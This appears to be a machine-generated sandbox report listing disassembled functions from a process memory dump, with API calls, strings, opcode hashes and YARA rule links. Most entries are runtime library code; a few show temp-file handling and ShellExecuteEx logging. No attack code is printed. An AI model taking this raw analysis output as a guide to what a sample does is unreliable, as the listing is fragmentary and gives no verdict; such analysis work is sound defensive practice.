Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID: 21
API String ID: 419941038-1316489359
Opcode ID: 6928773505a65cf59c3ac36001616d7798a8f027eb240fe68ed619afaf0a0d7c
Instruction ID: 260585e8307fa77278aaefb2824b6e8ca7c5d8c2316b858a23fb4d435f705531
Opcode Fuzzy Hash: 6928773505a65cf59c3ac36001616d7798a8f027eb240fe68ed619afaf0a0d7c
Instruction Fuzzy Hash: CA01D275902119DBCF0BEB64C866BBEB7B5AF88710F250909F510AF2D2CF709E018B91

Function 003029F6 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003029FD
std::_Lockit::_Lockit.LIBCPMT ref: 00302A07

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

moneypunct.LIBCPMT ref: 00302A41
std::_Facet_Register.LIBCPMT ref: 00302A58
std::_Lockit::~_Lockit.LIBCPMT ref: 00302A78

Strings

21, xrefs: 00302A65

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID: 21
API String ID: 419941038-1316489359
Opcode ID: 9f9e49899abc734ac2a89e1034d5a0b4dd8580bbabe74e3811080a9ddd551e04
Instruction ID: fb1655c56a8204409fd47e8987b0815467abff498a6a0f4a2b573ec519d6f0b2
Opcode Fuzzy Hash: 9f9e49899abc734ac2a89e1034d5a0b4dd8580bbabe74e3811080a9ddd551e04
Instruction Fuzzy Hash: EE01C035901119DBCB1BEB64C865BBFB7A5AF88710F250909F900AF2D1CF309E418B91

Function 0030EA97 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030EA9E
std::_Lockit::_Lockit.LIBCPMT ref: 0030EAA8

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

moneypunct.LIBCPMT ref: 0030EAE2
std::_Facet_Register.LIBCPMT ref: 0030EAF9
std::_Lockit::~_Lockit.LIBCPMT ref: 0030EB19

Strings

21, xrefs: 0030EB06

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID: 21
API String ID: 419941038-1316489359
Opcode ID: 4e0dcb4da84c1e360e34cc02470c11bb7c8397546a3cec105ff9b11291da764c
Instruction ID: f4100209c9368da5c3fa0c1f17f62eb48419e54faadc53da02d3d40f427c3093
Opcode Fuzzy Hash: 4e0dcb4da84c1e360e34cc02470c11bb7c8397546a3cec105ff9b11291da764c
Instruction Fuzzy Hash: 7401D235A01119DBCB1BEB64D861ABEB7B5BF84720F260809F405AF2D2CF309E01CB91

Function 00302A8B Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302A92
std::_Lockit::_Lockit.LIBCPMT ref: 00302A9C

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

moneypunct.LIBCPMT ref: 00302AD6
std::_Facet_Register.LIBCPMT ref: 00302AED
std::_Lockit::~_Lockit.LIBCPMT ref: 00302B0D

Strings

21, xrefs: 00302AFA

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID: 21
API String ID: 419941038-1316489359
Opcode ID: c0a73cfb9b5cbec362c2528db2a7fc10b0dc235d42f2cc4649b77d2470cee8c3
Instruction ID: d1b7e60708ecc33ad6bb12c769fff595752a894e50be6e504e5eaeaf7c794c7d
Opcode Fuzzy Hash: c0a73cfb9b5cbec362c2528db2a7fc10b0dc235d42f2cc4649b77d2470cee8c3
Instruction Fuzzy Hash: B701C4359012199FCB1BEB64D865BBEB765AF84710F250909E500AF2D2CF709E01CB91

Function 00302B20 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302B27
std::_Lockit::_Lockit.LIBCPMT ref: 00302B31

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

moneypunct.LIBCPMT ref: 00302B6B
std::_Facet_Register.LIBCPMT ref: 00302B82
std::_Lockit::~_Lockit.LIBCPMT ref: 00302BA2

Strings

21, xrefs: 00302B8F

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID: 21
API String ID: 419941038-1316489359
Opcode ID: ad59a016b07a7e84a12f87a051914e72d64e9acd701b55cffd1022ddcd1b94cb
Instruction ID: 255b8d317190ac6feae657a1e082e19af64edec7b52b69bb0711f2d209e00a58
Opcode Fuzzy Hash: ad59a016b07a7e84a12f87a051914e72d64e9acd701b55cffd1022ddcd1b94cb
Instruction Fuzzy Hash: 4B01C035901219DBCF1BEB64C865ABEB7B5AF84720F250409E500AF2D1CF309E418B91

Function 0030EB2C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030EB33
std::_Lockit::_Lockit.LIBCPMT ref: 0030EB3D

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

moneypunct.LIBCPMT ref: 0030EB77
std::_Facet_Register.LIBCPMT ref: 0030EB8E
std::_Lockit::~_Lockit.LIBCPMT ref: 0030EBAE

Strings

21, xrefs: 0030EB9B

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID: 21
API String ID: 419941038-1316489359
Opcode ID: bb9a78034ab3654dae3ec57337f56c39ddedd9e19f19ac250bcfdd326bf21394
Instruction ID: 701ffda655d79d1c6d626cd22d31fad3e01f2fdbaca3f4d1c88cfcef401830b7
Opcode Fuzzy Hash: bb9a78034ab3654dae3ec57337f56c39ddedd9e19f19ac250bcfdd326bf21394
Instruction Fuzzy Hash: 6801C035901119DFCB1BEB60D8A1BBEB7A4BF84710F25080AE411AF2D1CF709E018B91

Function 00302D74 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302D7B
std::_Lockit::_Lockit.LIBCPMT ref: 00302D85

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

numpunct.LIBCPMT ref: 00302DBF
std::_Facet_Register.LIBCPMT ref: 00302DD6
std::_Lockit::~_Lockit.LIBCPMT ref: 00302DF6

Strings

21, xrefs: 00302DE3

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID: 21
API String ID: 743221004-1316489359
Opcode ID: e0f9b094edec0211dcde84b7e2cffe8529c82d7867ba314c0091f0465a863c11
Instruction ID: c7f2d7ee34f60ad5246ee5010d338b820304fddc85ddada0b6ffb51ef7e43cac
Opcode Fuzzy Hash: e0f9b094edec0211dcde84b7e2cffe8529c82d7867ba314c0091f0465a863c11
Instruction Fuzzy Hash: F101C0359022199BCB0BEBA0D865ABEB7A4BF84710F250809F510AF2D1CF709E41CB91

Function 00322DEE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,7642E7B1,0000000C,?,00000000,00336A6C,000000FF,?,00322DC1,?,?,00322D95,?), ref: 00322E23
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00322E35
FreeLibrary.KERNEL32(00000000,?,00000000,00336A6C,000000FF,?,00322DC1,?,?,00322D95,?), ref: 00322E57

Strings

21, xrefs: 00322E46
mscoree.dll, xrefs: 00322E1C
CorExitProcess, xrefs: 00322E2D

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: 21$CorExitProcess$mscoree.dll
API String ID: 4061214504-3298179839
Opcode ID: 74a76b6f31c7100fdb94ae90c0412a41eb6e17c260faab31e41abc4d1c39cc14
Instruction ID: 6b59a07c7ef38cc14db08190f56c837d899b18254446da93772deb28a47a6d13
Opcode Fuzzy Hash: 74a76b6f31c7100fdb94ae90c0412a41eb6e17c260faab31e41abc4d1c39cc14
Instruction Fuzzy Hash: 8B016272918629BFDB239F50DC45FAFBBBCFB04B11F054525F811A22A0DB749900CA90

Function 00312C4E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0034DD3C,?,?,002F2427,0034E638,00336B40), ref: 00312C58
LeaveCriticalSection.KERNEL32(0034DD3C,?,?,002F2427,0034E638,00336B40), ref: 00312C8B
RtlWakeAllConditionVariable.NTDLL ref: 00312D02
SetEvent.KERNEL32(?,002F2427,0034E638,00336B40), ref: 00312D0C
ResetEvent.KERNEL32(?,002F2427,0034E638,00336B40), ref: 00312D18

Strings

21, xrefs: 00312CFC

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID: 21
API String ID: 3916383385-1316489359
Opcode ID: c0ef14470f34ab86aa3be9cb61532f2f80b44889a3051b6c789ed4e7d9f5710d
Instruction ID: 00f2c937b9ef2eed273d3feacce5aa9a63ad56c92a8a076e1c221facab09dbd8
Opcode Fuzzy Hash: c0ef14470f34ab86aa3be9cb61532f2f80b44889a3051b6c789ed4e7d9f5710d
Instruction Fuzzy Hash: 5401E479905124DFC767AF18FC88A997BA9FF4A751F010469F9028B620CB31A951DA90

Function 002FB500 Relevance: 9.2, APIs: 6, Instructions: 151memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002FB531
std::_Lockit::_Lockit.LIBCPMT ref: 002FB54F
std::_Lockit::~_Lockit.LIBCPMT ref: 002FB577
LocalAlloc.KERNEL32(00000040,0000000C,00000000,7642E7B1,?,00000000,00000000), ref: 002FB5CF
std::_Facet_Register.LIBCPMT ref: 002FB6B7
std::_Lockit::~_Lockit.LIBCPMT ref: 002FB6E1

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_LocalRegister
String ID:
API String ID: 3931714976-0
Opcode ID: b1d36c964ba34329dd8b7b13b55065936520e35d65858c89e35f0b0cc7d8417f
Instruction ID: daec4f949b98e37815d57754b7f27c88c6fe07f0c2885fedb0d7270c84c5ea8a
Opcode Fuzzy Hash: b1d36c964ba34329dd8b7b13b55065936520e35d65858c89e35f0b0cc7d8417f
Instruction Fuzzy Hash: 8A51CFB4900219DFDB17CF58C8907AEFBB8FF14354F244169E915AB391DBB5AA04CB81

Function 002FB700 Relevance: 9.1, APIs: 6, Instructions: 128memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002FB731
std::_Lockit::_Lockit.LIBCPMT ref: 002FB74F
std::_Lockit::~_Lockit.LIBCPMT ref: 002FB777
LocalAlloc.KERNEL32(00000040,00000008,00000000,7642E7B1,?,00000000,00000000), ref: 002FB7CF
std::_Facet_Register.LIBCPMT ref: 002FB863
std::_Lockit::~_Lockit.LIBCPMT ref: 002FB88D

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_LocalRegister
String ID:
API String ID: 3931714976-0
Opcode ID: 510499c075a781fe505cb844f3ed8c6266f9419bdebbb04c8c7c281863015220
Instruction ID: 526754ad4716724d93398cc8945ee3b6c26bd3be49620e9bd5e0dce7cc52f5e1
Opcode Fuzzy Hash: 510499c075a781fe505cb844f3ed8c6266f9419bdebbb04c8c7c281863015220
Instruction Fuzzy Hash: 0351BF75915219DFDB16DF58C890BAEFBB8FB54390F24816DE911AB381DB74AE00CB80

Function 00320351 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0032043B
__freea.LIBCMT ref: 003204D1
__freea.LIBCMT ref: 003204ED

Strings

a/p, xrefs: 003205B5
am/pm, xrefs: 00320551

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: 782d96ac356fd7ca76b7ae68e4ccea5aaaed6fa5690390dd42e98147067aa576
Instruction ID: 270f6edf0ea9f47c3011c4a77348c91d8f6f9ffca864f97cae1aedec28cfc445
Opcode Fuzzy Hash: 782d96ac356fd7ca76b7ae68e4ccea5aaaed6fa5690390dd42e98147067aa576
Instruction Fuzzy Hash: A7C10434900226DBCB2EDF6CE989ABEB7B4FF05700F254049E545ABA52D335AC49CF91

Function 002F5890 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?,76C14450,002F5646,?,?,?,?,?), ref: 002F5898

Strings

<S4, xrefs: 002F5919
false, xrefs: 002F58A2
true, xrefs: 002F58A7, 002F58B6
Last error=, xrefs: 002F58D9
Call to ShellExecuteEx() returned:, xrefs: 002F58AF

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast
String ID: <S4$Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-3792586147
Opcode ID: 1bd93e787f5ec5155a8590ebf47cef9d413cb4c690577584198bda05d19f006d
Instruction ID: 645add698681bf60276405aae0057b098106224b9a458bd7ebb8998d8f91c4dd
Opcode Fuzzy Hash: 1bd93e787f5ec5155a8590ebf47cef9d413cb4c690577584198bda05d19f006d
Instruction Fuzzy Hash: 7C11CE1AE2062A87DB342F6C8800336E2E4DF50794F65087FDA89CB392E6E58CD183D0

Function 00315978 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0031596F,00314900,0031358F), ref: 00315986
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00315994
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 003159AD
SetLastError.KERNEL32(00000000,0031596F,00314900,0031358F), ref: 003159FF

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e34fefb5c6871639e2a7269f68f1e5dd4ab8f7e145e269e2293a70e5c21c24ca
Instruction ID: 6e813929a4aafefcaf977012af02a4128471d490cc54f7b88dcaf41784627be2
Opcode Fuzzy Hash: e34fefb5c6871639e2a7269f68f1e5dd4ab8f7e145e269e2293a70e5c21c24ca
Instruction Fuzzy Hash: 9C01D87721EB21DFA6BF2BB57C86ADA2B5CDB4A775B20032AF4148C1F1EF115C815181

Function 003035F7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 282COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 003035FE
_strcspn.LIBCMT ref: 00303666
_strcspn.LIBCMT ref: 00303686
ctype.LIBCPMT ref: 003036E4

Strings

21, xrefs: 0030371E

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID: 21
API String ID: 838279627-1316489359
Opcode ID: f795058f8e6ae9bc1b0fb4783147f3de85f2a5a68caacad6412fa0417f677c96
Instruction ID: 88092b232f1f87001e922ce9a01e06b1c6a1ccff28fc5bafa927b598801333d7
Opcode Fuzzy Hash: f795058f8e6ae9bc1b0fb4783147f3de85f2a5a68caacad6412fa0417f677c96
Instruction Fuzzy Hash: F8B16CB590124D9FCF16DF98C890AEEBBB9FF48310F144029E805AB291D730AA55CB60

Function 002FDA6F Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002FDA76
_strcspn.LIBCMT ref: 002FDADE
_strcspn.LIBCMT ref: 002FDAFE
ctype.LIBCPMT ref: 002FDB5C

Strings

21, xrefs: 002FDB96

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID: 21
API String ID: 838279627-1316489359
Opcode ID: ea682c2470d44973850f303ee5092108eefbc54089af029ee958dd1de336e068
Instruction ID: d38b0da992ff61c8c68f67a3c8fed05e10f8688d959acc8401b6046c30f5f3ec
Opcode Fuzzy Hash: ea682c2470d44973850f303ee5092108eefbc54089af029ee958dd1de336e068
Instruction Fuzzy Hash: 2BB14A7191024D9FDF11DF94C941AEEFBBAEF08380F14402AE905AB215D770AE66CB64

Function 002F3230 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 260fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,7642E7B1,?,00000004), ref: 002F3294
MoveFileW.KERNEL32(?,00000000), ref: 002F354A
DeleteFileW.KERNEL32(?), ref: 002F3592

Part of subcall function 002F1A70: LocalAlloc.KERNEL32(00000040,80000022), ref: 002F1AF7
Part of subcall function 002F1A70: LocalFree.KERNEL32(7FFFFFFE), ref: 002F1B7D

Part of subcall function 002F2E60: LocalFree.KERNEL32(?,7642E7B1,?,?,00333C40,000000FF,?,002F1242,7642E7B1,?,?,00333C75,000000FF), ref: 002F2EB1

Strings

URL, xrefs: 002F328E, 002F357A
url, xrefs: 002F33B9, 002F3575

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: FileLocal$Free$AllocDeleteMoveNameTemp
String ID: URL$url
API String ID: 853893950-346267919
Opcode ID: d5b8c86f6b2942188bd9b00dbac6a5f5455326199d4c35002f8ab39967ac7e62
Instruction ID: 7e41f855df1246416d9a40fdd1811cc0ae79328b98be7b17c7761fa2342cf97c
Opcode Fuzzy Hash: d5b8c86f6b2942188bd9b00dbac6a5f5455326199d4c35002f8ab39967ac7e62
Instruction Fuzzy Hash: 6CC16770D2426D9ADB25DF24CC987E9BBB4BF14304F1042E9D409A7291EBB56B98CF90

Function 00315A58 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00315B1F
___AdjustPointer.LIBCMT ref: 00315B42
___AdjustPointer.LIBCMT ref: 00315BDE

Strings

21, xrefs: 00315AB7

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: AdjustPointer
String ID: 21
API String ID: 1740715915-1316489359
Opcode ID: c4c7f6d45945aebe5121979a08fa6d6452fc600284b71bd9f4cf52e97efe3520
